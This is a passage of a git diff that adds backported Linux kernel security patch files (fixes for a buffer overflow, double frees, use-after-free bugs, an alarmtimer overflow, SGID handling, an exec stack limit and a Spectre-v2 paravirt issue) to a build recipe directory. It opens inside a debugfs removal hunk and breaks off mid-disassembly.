vpu_dev_session *session = file->private_data; +- char temp_buf[8]; +- size_t size, ret; +- +- size = snprintf(temp_buf, sizeof(temp_buf), "%d\n", +- session->streaming_state == ALL_STREAMING); +- ret = simple_read_from_buffer(user_buf, len, ppos, temp_buf, size); +- +- return ret; +-} +- +-static const struct file_operations streaming_state_ops = { +- .open = simple_open, +- .read = read_streaming_state, +-}; +- +-static int init_vpu_session_info_dir(struct dentry *root, +- struct vpu_dev_session *session) +-{ +- struct dentry *attr_root, *attr; +- char attr_name[SZ_16]; +- if (!session || !root) +- goto failed_create_dir; +- +- /* create session debugfs directory */ +- snprintf(attr_name, SZ_16, "session_%d", session->id); +- +- attr_root = debugfs_create_dir(attr_name, root); +- if (IS_ERR_OR_NULL(attr_root)) { +- pr_err("Failed to create %s info directory\n", attr_name); +- goto failed_create_dir; +- } +- +- /* create number of clients attribute */ +- attr = debugfs_create_u32("num_clients", S_IRUGO, attr_root, +- &session->client_count); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create number of clients attribute\n"); +- goto failed_create_attr; +- } +- +- /* create streaming state attribute file */ +- attr = debugfs_create_file("streaming", S_IRUGO, +- attr_root, session, &streaming_state_ops); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create streaming state attribute\n"); +- goto failed_create_attr; +- } +- +- /* create resolution attribute files */ +- attr = debugfs_create_u32("in_width", S_IRUGO, attr_root, +- &session->port_info[INPUT_PORT].format.width); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create input width attribute\n"); +- goto failed_create_attr; +- } +- +- attr = debugfs_create_u32("in_height", S_IRUGO, attr_root, +- &session->port_info[INPUT_PORT].format.height); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create input height attribute\n"); +- goto failed_create_attr; +- } +- +- attr = debugfs_create_u32("out_width", S_IRUGO, attr_root, +- &session->port_info[OUTPUT_PORT].format.width); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create output width attribute\n"); +- goto failed_create_attr; +- } +- +- attr = debugfs_create_u32("out_height", S_IRUGO, attr_root, +- &session->port_info[OUTPUT_PORT].format.height); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create output height attribute\n"); +- goto failed_create_attr; +- } +- +- return 0; +- +-failed_create_attr: +- debugfs_remove_recursive(attr_root); +-failed_create_dir: +- return -ENOENT; +-} +- +-struct dentry *init_vpu_debugfs(struct vpu_dev_core *core) +-{ +- struct dentry *root, *attr; +- int i; +- +- root = debugfs_create_dir(VPU_DRV_NAME, NULL); +- if (IS_ERR_OR_NULL(root)) { +- pr_err("Failed to create debugfs directory\n"); +- goto failed_create_dir; +- } +- +- /* create shutdown delay file */ +- attr = debugfs_create_u32("shutdown_delay_ms", S_IRUGO | S_IWUSR, +- root, &vpu_shutdown_delay); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create shutdown_delay attribute\n"); +- goto failed_create_attr; +- } +- +- /* create firmware log file */ +- init_waitqueue_head(&fw_log.wq); +- atomic_set(&fw_log.num_readers, 0); +- attr = debugfs_create_file("firmware_log", S_IRUGO, root, NULL, +- &fw_logging_ops); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create firmware logging attribute\n"); +- goto failed_create_attr; +- } +- +- /* create firmware log level file */ +- attr = debugfs_create_file("firmware_log_level", RW_MODE, root, NULL, +- &fw_log_level_ops); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create firmware logging level attribute\n"); +- goto failed_create_attr; +- } +- +- /* create queue state file */ +- attr = debugfs_create_file("queue_state", S_IRUGO, root, NULL, +- &queue_state_ops); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create queue state attribute\n"); +- goto failed_create_attr; +- } +- +- /* create csr regs file */ +- attr = debugfs_create_file("csr_regs", RW_MODE, root, NULL, +- &csr_regs_ops); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create csr regs attribute\n"); +- goto failed_create_attr; +- } +- +- /* create cmd entry */ +- vpu_debug_on = 0; +- attr = debugfs_create_file("cmd", RW_MODE, root, NULL, +- &vpu_cmd_ops); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create cmd attribute\n"); +- goto failed_create_attr; +- } +- +- /* create shared mem entry (smem dir + files) */ +- attr = init_smem_dir(root); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create smem dir\n"); +- goto failed_create_attr; +- } +- +- /* create client entry */ +- attr = debugfs_create_file("client", RW_MODE, root, core, +- &vpu_client_ops); +- if (IS_ERR_OR_NULL(attr)) { +- pr_err("Failed to create client attribute\n"); +- goto failed_create_attr; +- } +- +- /* create sessions station information directories */ +- for (i = 0; i < VPU_NUM_SESSIONS; i++) +- init_vpu_session_info_dir(root, core->sessions[i]); +- +- return root; +- +-failed_create_attr: +- cleanup_vpu_debugfs(root); +-failed_create_dir: +- return NULL; +-} +- +-void cleanup_vpu_debugfs(struct dentry *root) +-{ +- debugfs_remove_recursive(root); +-} +diff --git a/drivers/media/platform/msm/vpu/vpu_debug.h b/drivers/media/platform/msm/vpu/vpu_debug.h +index 1dffbb7..52484b8 100644 +--- a/drivers/media/platform/msm/vpu/vpu_debug.h ++++ b/drivers/media/platform/msm/vpu/vpu_debug.h +@@ -18,18 +18,6 @@ + + #include "vpu_v4l2.h" + +-#ifdef CONFIG_DEBUG_FS +- +-/* functions to init and deinit VPU debugfs entries */ +-struct dentry *init_vpu_debugfs(struct vpu_dev_core *core); +- +-void cleanup_vpu_debugfs(struct dentry *dir); +- +-/* hfi layer uses this to inform debug layer that firmware sent a log msg */ +-void vpu_wakeup_fw_logging_wq(void); +- +-#else +- + static inline struct dentry *init_vpu_debugfs(struct vpu_dev_core *core) + { + return NULL; +@@ -41,6 +29,4 @@ static inline void cleanup_vpu_debugfs(struct dentry *dir) + static inline void vpu_wakeup_fw_logging_wq(void) + { } + +-#endif /* CONFIG_DEBUG_FS */ +- + #endif /* __H_VPU_DEBUG_H__ */ +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0520-492fdce2626e-regulator core Fix buffer overflow issue.patch b/recipes-kernel/linux/linux-bass/autopatcher/0520-492fdce2626e-regulator core Fix buffer overflow issue.patch new file mode 100644 index 0000000..2c322e1 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0520-492fdce2626e-regulator core Fix buffer overflow issue.patch @@ -0,0 +1,30 @@ +From 492fdce2626efc01004bea4aed4ea89b7c5cb5b3 Mon Sep 17 00:00:00 2001 +From: Kiran Gunda +Date: Thu, 17 May 2018 17:00:34 +0530 +Subject: regulator: core: Fix buffer overflow issue + +There is a possible buffer overflow in the "reg_debug_volt_get" +function. Fix it by passing the appropriate byte count. + +Change-Id: I30868790c42cdb225af74054532a75c49506fe82 +Signed-off-by: Kiran Gunda +--- + drivers/regulator/core.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/regulator/core.c b/drivers/regulator/core.c +index 7b2a4b6..3bfc88b 100644 +--- a/drivers/regulator/core.c ++++ b/drivers/regulator/core.c +@@ -3824,7 +3824,7 @@ static ssize_t reg_debug_volt_get(struct file *file, char __user *buf, + mutex_lock(&debug_buf_mutex); + + output = snprintf(debug_buf, MAX_DEBUG_BUF_LEN-1, "%d\n", voltage); +- rc = simple_read_from_buffer((void __user *) buf, output, ppos, ++ rc = simple_read_from_buffer((void __user *) buf, count, ppos, + (void *) debug_buf, output); + + mutex_unlock(&debug_buf_mutex); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0521-5ca16318bf1a-msm mdss Fix double free during probe fail.patch b/recipes-kernel/linux/linux-bass/autopatcher/0521-5ca16318bf1a-msm mdss Fix double free during probe fail.patch new file mode 100644 index 0000000..9a0b826 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0521-5ca16318bf1a-msm mdss Fix double free during probe fail.patch @@ -0,0 +1,86 @@ +From 5ca16318bf1a409e9e5c169dc5b7f0821e5323d7 Mon Sep 17 00:00:00 2001 +From: raghavendra ambadas +Date: Mon, 4 Jun 2018 10:56:52 +0530 +Subject: msm: mdss: Fix double free during probe fail + +Memory allocated with "devm_kzalloc" is automatically released +by the kernel if the "probe" function fails with an error code. +Therefore, using "kfree" is unsafe because it can lead to the Double-Free. + +Change-Id: Ic9285ebbd7d246e275a93cde4d03656d99d5ea3d +Signed-off-by: Raghavendra Ambadas +--- + drivers/video/msm/mdss/mdss_mdp.c | 20 +++++--------------- + 1 file changed, 5 insertions(+), 15 deletions(-) + +diff --git a/drivers/video/msm/mdss/mdss_mdp.c b/drivers/video/msm/mdss/mdss_mdp.c +index 7086498..39c8de2 100644 +--- a/drivers/video/msm/mdss/mdss_mdp.c ++++ b/drivers/video/msm/mdss/mdss_mdp.c +@@ -1,7 +1,7 @@ + /* + * MDSS MDP Interface (used by framebuffer core) + * +- * Copyright (c) 2007-2014, The Linux Foundation. All rights reserved. ++ * Copyright (c) 2007-2014, 2018, The Linux Foundation. All rights reserved. + * Copyright (C) 2007 Google Incorporated + * + * This software is licensed under the terms of the GNU General Public +@@ -1947,7 +1947,7 @@ static int mdss_mdp_parse_dt_pipe(struct platform_device *pdev) + if (!mdata->vig_pipes) { + pr_err("no mem for vig_pipes: kzalloc fail\n"); + rc = -ENOMEM; +- goto vig_alloc_fail; ++ goto parse_fail; + } + + mdata->rgb_pipes = devm_kzalloc(&mdata->pdev->dev, +@@ -1955,7 +1955,7 @@ static int mdss_mdp_parse_dt_pipe(struct platform_device *pdev) + if (!mdata->rgb_pipes) { + pr_err("no mem for rgb_pipes: kzalloc fail\n"); + rc = -ENOMEM; +- goto rgb_alloc_fail; ++ goto parse_fail; + } + + if (mdata->ndma_pipes) { +@@ -1965,7 +1965,7 @@ static int mdss_mdp_parse_dt_pipe(struct platform_device *pdev) + if (!mdata->dma_pipes) { + pr_err("no mem for dma_pipes: kzalloc fail\n"); + rc = -ENOMEM; +- goto dma_alloc_fail; ++ goto parse_fail; + } + } + +@@ -2142,7 +2142,7 @@ static int mdss_mdp_parse_dt_pipe(struct platform_device *pdev) + if (!mdata->cursor_pipes) { + pr_err("no mem for cursor_pipes: kzalloc fail\n"); + rc = -ENOMEM; +- goto cursor_alloc_fail; ++ goto parse_fail; + } + rc = mdss_mdp_parse_dt_handler(pdev, + "qcom,mdss-pipe-cursor-off", offsets, +@@ -2166,18 +2166,8 @@ static int mdss_mdp_parse_dt_pipe(struct platform_device *pdev) + pr_info("dedicated vp cursors detected, num=%d\n", + mdata->ncursor_pipes); + } +- goto parse_done; + + parse_fail: +- kfree(mdata->cursor_pipes); +-cursor_alloc_fail: +- kfree(mdata->dma_pipes); +-dma_alloc_fail: +- kfree(mdata->rgb_pipes); +-rgb_alloc_fail: +- kfree(mdata->vig_pipes); +-parse_done: +-vig_alloc_fail: + kfree(xin_id); + xin_alloc_fail: + kfree(ftch_id); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0522-135739e1facf-cfg80211 Fix use after free when process wdev events.patch b/recipes-kernel/linux/linux-bass/autopatcher/0522-135739e1facf-cfg80211 Fix use after free when process wdev events.patch new file mode 100644 index 0000000..7b7791b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0522-135739e1facf-cfg80211 Fix use after free when process wdev events.patch @@ -0,0 +1,34 @@ +From 135739e1facf79effe5a7932d1c183a04543fa28 Mon Sep 17 00:00:00 2001 +From: Zhu Jianmin +Date: Thu, 21 Jun 2018 17:09:40 +0800 +Subject: cfg80211: Fix use after free when process wdev events + +"bssid" is only initialized out of the while loop, in case of two +events with same type: EVENT_CONNECT_RESULT, but one has zero +ether addr, the other is non-zero, the bssid pointer will be +referenced twice, which lead to use-after-free issue. + +Change-Id: Ie8a24275f7ec5c2f936ef0a802a42e5f63be9c71 +CRs-Fixed: 2254305 +Signed-off-by: Zhu Jianmin +--- + net/wireless/util.c | 3 +-- + 1 file changed, 1 insertion(+), 2 deletions(-) + +diff --git a/net/wireless/util.c b/net/wireless/util.c +index a061a8a..1e010be 100644 +--- a/net/wireless/util.c ++++ b/net/wireless/util.c +@@ -819,8 +819,7 @@ void cfg80211_process_wdev_events(struct wireless_dev *wdev) + wdev_lock(wdev); + switch (ev->type) { + case EVENT_CONNECT_RESULT: +- if (!is_zero_ether_addr(ev->cr.bssid)) +- bssid = ev->cr.bssid; ++ bssid = ev->cr.bssid; + __cfg80211_connect_result( + wdev->netdev, bssid, + ev->cr.req_ie, ev->cr.req_ie_len, +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0523-5e9ffcfa152e-ion invalidate the pool pointers after free.patch b/recipes-kernel/linux/linux-bass/autopatcher/0523-5e9ffcfa152e-ion invalidate the pool pointers after free.patch new file mode 100644 index 0000000..d44f6d5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0523-5e9ffcfa152e-ion invalidate the pool pointers after free.patch @@ -0,0 +1,38 @@ +From 5e9ffcfa152ecb2832990c42fcd8a0f2e63c2c04 Mon Sep 17 00:00:00 2001 +From: Vinayak Menon +Date: Wed, 13 Jun 2018 20:59:29 +0530 +Subject: ion: invalidate the pool pointers after free + +ion_system_heap_destroy_pools frees the pool, but +does not invalidate the pointer. This can result in +a double free if ion_system_heap_create_pools fails, +and then causes ion_system_heap_create to call into +ion_system_heap_destroy_pools again from the error +path. This can happen in ion_system_heap_create when +one of the secure pool creation fails. + +Change-Id: Ic73ca78722aa5a575cc4dd7c1caa560b518094f2 +Signed-off-by: Vinayak Menon +--- + drivers/staging/android/ion/ion_system_heap.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/drivers/staging/android/ion/ion_system_heap.c b/drivers/staging/android/ion/ion_system_heap.c +index e3985f6..37b6ad4 100644 +--- a/drivers/staging/android/ion/ion_system_heap.c ++++ b/drivers/staging/android/ion/ion_system_heap.c +@@ -756,8 +756,10 @@ static void ion_system_heap_destroy_pools(struct ion_page_pool **pools) + { + int i; + for (i = 0; i < num_orders; i++) +- if (pools[i]) ++ if (pools[i]) { + ion_page_pool_destroy(pools[i]); ++ pools[i] = NULL; ++ } + } + + /** +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0524-92d34134193e-jfs Fix inconsistency between memory allocation and eabufmaxsize.patch b/recipes-kernel/linux/linux-bass/autopatcher/0524-92d34134193e-jfs Fix inconsistency between memory allocation and eabufmaxsize.patch new file mode 100644 index 0000000..ef718c1 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0524-92d34134193e-jfs Fix inconsistency between memory allocation and eabufmaxsize.patch @@ -0,0 +1,43 @@ +From 92d34134193e5b129dc24f8d79cb9196626e8d7a Mon Sep 17 00:00:00 2001 +From: Shankara Pailoor +Date: Tue, 5 Jun 2018 08:33:27 -0500 +Subject: jfs: Fix inconsistency between memory allocation and ea_buf->max_size + +The code is assuming the buffer is max_size length, but we weren't +allocating enough space for it. + +Signed-off-by: Shankara Pailoor +Signed-off-by: Dave Kleikamp +--- + fs/jfs/xattr.c | 10 ++++++---- + 1 file changed, 6 insertions(+), 4 deletions(-) + +diff --git a/fs/jfs/xattr.c b/fs/jfs/xattr.c +index c60f3d32ee91..a6797986b625 100644 +--- a/fs/jfs/xattr.c ++++ b/fs/jfs/xattr.c +@@ -491,15 +491,17 @@ static int ea_get(struct inode *inode, struct ea_buffer *ea_buf, int min_size) + if (size > PSIZE) { + /* + * To keep the rest of the code simple. Allocate a +- * contiguous buffer to work with ++ * contiguous buffer to work with. Make the buffer large ++ * enough to make use of the whole extent. + */ +- ea_buf->xattr = kmalloc(size, GFP_KERNEL); ++ ea_buf->max_size = (size + sb->s_blocksize - 1) & ++ ~(sb->s_blocksize - 1); ++ ++ ea_buf->xattr = kmalloc(ea_buf->max_size, GFP_KERNEL); + if (ea_buf->xattr == NULL) + return -ENOMEM; + + ea_buf->flag = EA_MALLOC; +- ea_buf->max_size = (size + sb->s_blocksize - 1) & +- ~(sb->s_blocksize - 1); + + if (ea_size == 0) + return 0; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0525-36ba8d77f28a-PATCH alarmtimer Prevent overflow for relative nanosleep.patch b/recipes-kernel/linux/linux-bass/autopatcher/0525-36ba8d77f28a-PATCH alarmtimer Prevent overflow for relative nanosleep.patch new file mode 100644 index 0000000..22cb16b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0525-36ba8d77f28a-PATCH alarmtimer Prevent overflow for relative nanosleep.patch @@ -0,0 +1,51 @@ +From 36ba8d77f28a1938df5104334d546423a1665cd5 Mon Sep 17 00:00:00 2001 +From: Thomas Gleixner +Date: Mon, 2 Jul 2018 09:34:29 +0200 +Subject: [PATCH] alarmtimer: Prevent overflow for relative nanosleep + +commit 5f936e19cc0ef97dbe3a56e9498922ad5ba1edef upstream. + +Air Icy reported: + + UBSAN: Undefined behaviour in kernel/time/alarmtimer.c:811:7 + signed integer overflow: + 1529859276030040771 + 9223372036854775807 cannot be represented in type 'long long int' + Call Trace: + alarm_timer_nsleep+0x44c/0x510 kernel/time/alarmtimer.c:811 + __do_sys_clock_nanosleep kernel/time/posix-timers.c:1235 [inline] + __se_sys_clock_nanosleep kernel/time/posix-timers.c:1213 [inline] + __x64_sys_clock_nanosleep+0x326/0x4e0 kernel/time/posix-timers.c:1213 + do_syscall_64+0xb8/0x3a0 arch/x86/entry/common.c:290 + +alarm_timer_nsleep() uses ktime_add() to add the current time and the +relative expiry value. ktime_add() has no sanity checks so the addition +can overflow when the relative timeout is large enough. + +Use ktime_add_safe() which has the necessary sanity checks in place and +limits the result to the valid range. + +Fixes: 9a7adcf5c6de ("timers: Posix interface for alarm-timers") +Change-Id: Iee4f4d2c4fed03833643bf7fee90ad1c54b6b065 +Reported-by: Team OWL337 +Signed-off-by: Thomas Gleixner +Cc: John Stultz +Link: https://lkml.kernel.org/r/alpine.DEB.2.21.1807020926360.1595@nanos.tec.linutronix.de +Signed-off-by: Ben Hutchings +--- + kernel/time/alarmtimer.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/kernel/time/alarmtimer.c b/kernel/time/alarmtimer.c +index 59eb5eac432..5c972149a8b 100644 +--- a/kernel/time/alarmtimer.c ++++ b/kernel/time/alarmtimer.c +@@ -859,7 +859,8 @@ static int alarm_timer_nsleep(const clockid_t which_clock, int flags, + /* Convert (if necessary) to absolute time */ + if (flags != TIMER_ABSTIME) { + ktime_t now = alarm_bases[type].gettime(); +- exp = ktime_add(now, exp); ++ ++ exp = ktime_add_safe(now, exp); + } + + if (alarmtimer_do_nsleep(&alarm, exp)) diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0526-2322fb62a001-PATCH Fix up nondirectory creation in SGID directories.patch b/recipes-kernel/linux/linux-bass/autopatcher/0526-2322fb62a001-PATCH Fix up nondirectory creation in SGID directories.patch new file mode 100644 index 0000000..91dc876 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0526-2322fb62a001-PATCH Fix up nondirectory creation in SGID directories.patch @@ -0,0 +1,48 @@ +From 2322fb62a0010df0078da7f510d3eda6f85cdf3a Mon Sep 17 00:00:00 2001 +From: Linus Torvalds +Date: Tue, 3 Jul 2018 17:10:19 -0700 +Subject: [PATCH] Fix up non-directory creation in SGID directories + +commit 0fa3ecd87848c9c93c2c828ef4c3a8ca36ce46c7 upstream. + +sgid directories have special semantics, making newly created files in +the directory belong to the group of the directory, and newly created +subdirectories will also become sgid. This is historically used for +group-shared directories. + +But group directories writable by non-group members should not imply +that such non-group members can magically join the group, so make sure +to clear the sgid bit on non-directories for non-members (but remember +that sgid without group execute means "mandatory locking", just to +confuse things even more). + +Reported-by: Jann Horn +Cc: Andy Lutomirski +Cc: Al Viro +Bug: 113452403 +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +Change-Id: Ib8065c0ab05ead9e9d38e23b95b6891ece4d99e5 +--- + fs/inode.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/fs/inode.c b/fs/inode.c +index 62f4ba09517..f4183892365 100644 +--- a/fs/inode.c ++++ b/fs/inode.c +@@ -1830,8 +1830,14 @@ void inode_init_owner(struct inode *inode, const struct inode *dir, + inode->i_uid = current_fsuid(); + if (dir && dir->i_mode & S_ISGID) { + inode->i_gid = dir->i_gid; ++ ++ /* Directories are special, and always inherit S_ISGID */ + if (S_ISDIR(mode)) + mode |= S_ISGID; ++ else if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP) && ++ !in_group_p(inode->i_gid) && ++ !capable_wrt_inode_uidgid(dir, CAP_FSETID)) ++ mode &= ~S_ISGID; + } else + inode->i_gid = current_fsgid(); + inode->i_mode = mode; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0527-3c270e64a394-exec Limit arg stack to at most 75 of STKLIM.patch b/recipes-kernel/linux/linux-bass/autopatcher/0527-3c270e64a394-exec Limit arg stack to at most 75 of STKLIM.patch new file mode 100644 index 0000000..cc7996e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0527-3c270e64a394-exec Limit arg stack to at most 75 of STKLIM.patch @@ -0,0 +1,55 @@ +From 3c270e64a394ea5e52be9e371f5676fa974f6deb Mon Sep 17 00:00:00 2001 +From: Kees Cook +Date: Fri, 7 Jul 2017 11:57:29 -0700 +Subject: exec: Limit arg stack to at most 75% of _STK_LIM + +commit da029c11e6b12f321f36dac8771e833b65cec962 upstream. + +To avoid pathological stack usage or the need to special-case setuid +execs, just limit all arg stack usage to at most 75% of _STK_LIM (6MB). + +Signed-off-by: Kees Cook +Signed-off-by: Linus Torvalds +[bwh: Backported to 3.16: replaced code is slightly different] +Signed-off-by: Ben Hutchings +--- + fs/exec.c | 11 ++++++----- + 1 file changed, 6 insertions(+), 5 deletions(-) + +diff --git a/fs/exec.c b/fs/exec.c +index 70c31796a3148..2acff9b648c05 100644 +--- a/fs/exec.c ++++ b/fs/exec.c +@@ -206,8 +206,7 @@ static struct page *get_arg_page(struct linux_binprm *bprm, unsigned long pos, + + if (write) { + unsigned long size = bprm->vma->vm_end - bprm->vma->vm_start; +- unsigned long ptr_size; +- struct rlimit *rlim; ++ unsigned long ptr_size, limit; + + /* + * Since the stack will hold pointers to the strings, we +@@ -236,14 +235,16 @@ static struct page *get_arg_page(struct linux_binprm *bprm, unsigned long pos, + return page; + + /* +- * Limit to 1/4-th the stack size for the argv+env strings. ++ * Limit to 1/4 of the max stack size or 3/4 of _STK_LIM ++ * (whichever is smaller) for the argv+env strings. + * This ensures that: + * - the remaining binfmt code will not run out of stack space, + * - the program will have a reasonable amount of stack left + * to work from. + */ +- rlim = current->signal->rlim; +- if (size > ACCESS_ONCE(rlim[RLIMIT_STACK].rlim_cur) / 4) ++ limit = _STK_LIM / 4 * 3; ++ limit = min(limit, rlimit(RLIMIT_STACK) / 4); ++ if (size > limit) + goto fail; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0528-cb2595c1393b-infiniband fix a possible useafterfree bug.patch b/recipes-kernel/linux/linux-bass/autopatcher/0528-cb2595c1393b-infiniband fix a possible useafterfree bug.patch new file mode 100644 index 0000000..b96523e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0528-cb2595c1393b-infiniband fix a possible useafterfree bug.patch @@ -0,0 +1,54 @@ +From cb2595c1393b4a5211534e6f0a0fbad369e21ad8 Mon Sep 17 00:00:00 2001 +From: Cong Wang +Date: Fri, 1 Jun 2018 11:31:44 -0700 +Subject: infiniband: fix a possible use-after-free bug + +ucma_process_join() will free the new allocated "mc" struct, +if there is any error after that, especially the copy_to_user(). + +But in parallel, ucma_leave_multicast() could find this "mc" +through idr_find() before ucma_process_join() frees it, since it +is already published. + +So "mc" could be used in ucma_leave_multicast() after it is been +allocated and freed in ucma_process_join(), since we don't refcnt +it. + +Fix this by separating "publish" from ID allocation, so that we +can get an ID first and publish it later after copy_to_user(). + +Fixes: c8f6a362bf3e ("RDMA/cma: Add multicast communication support") +Reported-by: Noam Rathaus +Signed-off-by: Cong Wang +Signed-off-by: Jason Gunthorpe +--- + drivers/infiniband/core/ucma.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/drivers/infiniband/core/ucma.c b/drivers/infiniband/core/ucma.c +index eab43b17e9cf2..ec8fb289621fb 100644 +--- a/drivers/infiniband/core/ucma.c ++++ b/drivers/infiniband/core/ucma.c +@@ -235,7 +235,7 @@ static struct ucma_multicast* ucma_alloc_multicast(struct ucma_context *ctx) + return NULL; + + mutex_lock(&mut); +- mc->id = idr_alloc(&multicast_idr, mc, 0, 0, GFP_KERNEL); ++ mc->id = idr_alloc(&multicast_idr, NULL, 0, 0, GFP_KERNEL); + mutex_unlock(&mut); + if (mc->id < 0) + goto error; +@@ -1421,6 +1421,10 @@ static ssize_t ucma_process_join(struct ucma_file *file, + goto err3; + } + ++ mutex_lock(&mut); ++ idr_replace(&multicast_idr, mc, mc->id); ++ mutex_unlock(&mut); ++ + mutex_unlock(&file->mut); + ucma_put_ctx(ctx); + return 0; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0529-5800dc5c19f3-x86paravirt Fix spectrev2 mitigations for paravirt guests.patch b/recipes-kernel/linux/linux-bass/autopatcher/0529-5800dc5c19f3-x86paravirt Fix spectrev2 mitigations for paravirt guests.patch new file mode 100644 index 0000000..424e97e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0529-5800dc5c19f3-x86paravirt Fix spectrev2 mitigations for paravirt guests.patch @@ -0,0 +1,160 @@ +From 5800dc5c19f34e6e03b5adab1282535cb102fafd Mon Sep 17 00:00:00 2001 +From: Peter Zijlstra +Date: Fri, 3 Aug 2018 16:41:39 +0200 +Subject: x86/paravirt: Fix spectre-v2 mitigations for paravirt guests + +Nadav reported that on guests we're failing to rewrite the indirect +calls to CALLEE_SAVE paravirt functions. In particular the +pv_queued_spin_unlock() call is left unpatched and that is all over the +place. This obviously wrecks Spectre-v2 mitigation (for paravirt +guests) which relies on not actually having indirect calls around. + +The reason is an incorrect clobber test in paravirt_patch_call(); this +function rewrites an indirect call with a direct call to the _SAME_ +function, there is no possible way the clobbers can be different +because of this. + +Therefore remove this clobber check. Also put WARNs on the other patch +failure case (not enough room for the instruction) which I've not seen +trigger in my (limited) testing. + +Three live kernel image disassemblies for lock_sock_nested (as a small +function that illustrates the problem nicely). PRE is the current +situation for guests, POST is with this patch applied and NATIVE is with +or without the patch for !guests. + +PRE: + +(gdb) disassemble lock_sock_nested +Dump of assembler code for function lock_sock_nested: + 0xffffffff817be970 <+0>: push %rbp + 0xffffffff817be971 <+1>: mov %rdi,%rbp + 0xffffffff817be974 <+4>: push %rbx + 0xffffffff817be975 <+5>: lea 0x88(%rbp),%rbx + 0xffffffff817be97c <+12>: callq 0xffffffff819f7160 <_cond_resched> + 0xffffffff817be981 <+17>: mov %rbx,%rdi + 0xffffffff817be984 <+20>: callq 0xffffffff819fbb00 <_raw_spin_lock_bh> + 0xffffffff817be989 <+25>: mov 0x8c(%rbp),%eax + 0xffffffff817be98f <+31>: test %eax,%eax + 0xffffffff817be991 <+33>: jne 0xffffffff817be9ba + 0xffffffff817be993 <+35>: movl $0x1,0x8c(%rbp) + 0xffffffff817be99d <+45>: mov %rbx,%rdi + 0xffffffff817be9a0 <+48>: callq *0xffffffff822299e8 + 0xffffffff817be9a7 <+55>: pop %rbx + 0xffffffff817be9a8 <+56>: pop %rbp + 0xffffffff817be9a9 <+57>: mov $0x200,%esi + 0xffffffff817be9ae <+62>: mov $0xffffffff817be993,%rdi + 0xffffffff817be9b5 <+69>: jmpq 0xffffffff81063ae0 <__local_bh_enable_ip> + 0xffffffff817be9ba <+74>: mov %rbp,%rdi + 0xffffffff817be9bd <+77>: callq 0xffffffff817be8c0 <__lock_sock> + 0xffffffff817be9c2 <+82>: jmp 0xffffffff817be993 +End of assembler dump. + +POST: + +(gdb) disassemble lock_sock_nested +Dump of assembler code for function lock_sock_nested: + 0xffffffff817be970 <+0>: push %rbp + 0xffffffff817be971 <+1>: mov %rdi,%rbp + 0xffffffff817be974 <+4>: push %rbx + 0xffffffff817be975 <+5>: lea 0x88(%rbp),%rbx + 0xffffffff817be97c <+12>: callq 0xffffffff819f7160 <_cond_resched> + 0xffffffff817be981 <+17>: mov %rbx,%rdi + 0xffffffff817be984 <+20>: callq 0xffffffff819fbb00 <_raw_spin_lock_bh> + 0xffffffff817be989 <+25>: mov 0x8c(%rbp),%eax + 0xffffffff817be98f <+31>: test %eax,%eax + 0xffffffff817be991 <+33>: jne 0xffffffff817be9ba + 0xffffffff817be993 <+35>: movl $0x1,0x8c(%rbp) + 0xffffffff817be99d <+45>: mov %rbx,%rdi + 0xffffffff817be9a0 <+48>: callq 0xffffffff810a0c20 <__raw_callee_save___pv_queued_spin_unlock> + 0xffffffff817be9a5 <+53>: xchg %ax,%ax + 0xffffffff817be9a7 <+55>: pop %rbx + 0xffffffff817be9a8 <+56>: pop %rbp + 0xffffffff817be9a9 <+57>: mov $0x200,%esi + 0xffffffff817be9ae <+62>: mov $0xffffffff817be993,%rdi + 0xffffffff817be9b5 <+69>: jmpq 0xffffffff81063aa0 <__local_bh_enable_ip> + 0xffffffff817be9ba <+74>: mov %rbp,%rdi + 0xffffffff817be9bd <+77>: callq 0xffffffff817be8c0 <__lock_sock> + 0xffffffff817be9c2 <+82>: jmp 0xffffffff817be993 +End of assembler dump. + 